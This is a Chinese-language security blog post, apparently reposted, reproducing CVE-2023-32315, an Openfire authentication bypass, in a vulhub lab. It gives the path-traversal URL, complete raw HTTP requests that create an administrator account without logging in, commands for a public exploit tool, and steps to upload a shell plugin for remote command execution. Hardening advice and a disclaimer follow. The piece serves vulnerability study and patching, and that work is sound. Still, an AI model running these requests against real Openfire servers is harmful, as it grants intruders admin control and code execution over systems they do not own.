『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE
2023-12-25 10:8:15 Author: 黑白之道(查看原文) 阅读量:21 收藏


日期:2023-12-20
作者:hdsec
介绍:本文介绍一下Openfire身份认证绕过漏洞(CVE-2023-32315)。

0x00 前言

在某次演练中遇到Openfire,于是整理了本文,如有不妥之处还望指正。

0x01 什么是Openfire

Openfire是一个开源的实时协作服务器,也被称为XMPP(Extensible Messaging and Presence Protocol)服务器。它是基于Java语言开发的,提供了一套完整的实时通信解决方案。Openfire支持即时消息传递、在线状态监测、群组聊天、文件传输等功能。它使用XMPP协议作为通信协议,这个协议被广泛应用于即时通讯、社交网络和物联网等领域。Openfire具有可扩展性强、易于部署和管理的特点,因此在企业内部通讯、社交平台、在线客服等场景中得到了广泛应用。

0x01 漏洞影响范围

3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5

0x02 漏洞环境搭建

vulhub漏洞环境:

https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315

执行如下命令启动一个4.7.4版本的Openfire

docker-compose up -d

服务器启动后,访问http://your-ip:9090跳转到登录页面。

0x03 漏洞复现

3.1 漏洞验证

访问如下链接:

http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

成功访问到未授权日志文件,证明存在Openfire管理后台认证绕过漏洞。

3.2 未授权创建用户

获取JSESSIONIDcsrf

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1Host: x.x.x.x:9090Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Content-Length: 2

使用获取到JSESSIONIDcsrf创建用户admin123/admin123

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=admin123&name=&email=&password=admin123&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1Host: x.x.x.x:9090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: JSESSIONID=node0emorecgj3xmr1cq89bo05r05v176.node0;csrf=SM0rG58cmPWkkiR

使用创建的用户名和密码可成功登录系统。

除了利用上面手工方法创建用户,我们还可以利用github上的漏洞利用工具:

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
cd CVE-2023-32315-Openfire-Bypass/scan_allgo mod tidygo run main.go -u http://x.x.x.x:9090

可直接创建用户名密码。

3.3 后台上传插件实现RCE

登录后台,在Plugins功能处上传从github上下载的插件。

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1`

上传成功后在server - server settings功能处发现发现shell Plugins,成功得到webshell

输入管理密码123,可进行命令执行。

0x04 加固建议

通常,开源软件在使用中可能会发现安全漏洞,并且开发者会不断努力修复这些漏洞并发布更新版本。如果你正在使用Openfire,建议你遵循以下步骤来确保系统的安全性:

  1. 及时更新:定期检查Openfire的官方网站或邮件列表,获取最新的安全更新和补丁,并及时应用到你的系统中。

  2. 强化安全设置:配置Openfire的安全设置,例如限制访问、强密码策略等。

  3. 检查插件和扩展:审查安装的插件和扩展是否来自可信的来源,并确保它们是最新版本,以降低潜在的安全风险。

  4. 定期安全审计:进行系统安全审计,识别潜在的漏洞,并采取适当的措施来加强安全性。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

文章来源:宸极实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650584558&idx=3&sn=e6fafe197f12d7792a0b41c3ef662725&chksm=82beccaa8a7bbbc759fa35f3ebd49fcad1ac1855daa5c3dbeb3ed657d71ba43fb7b012c27574&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh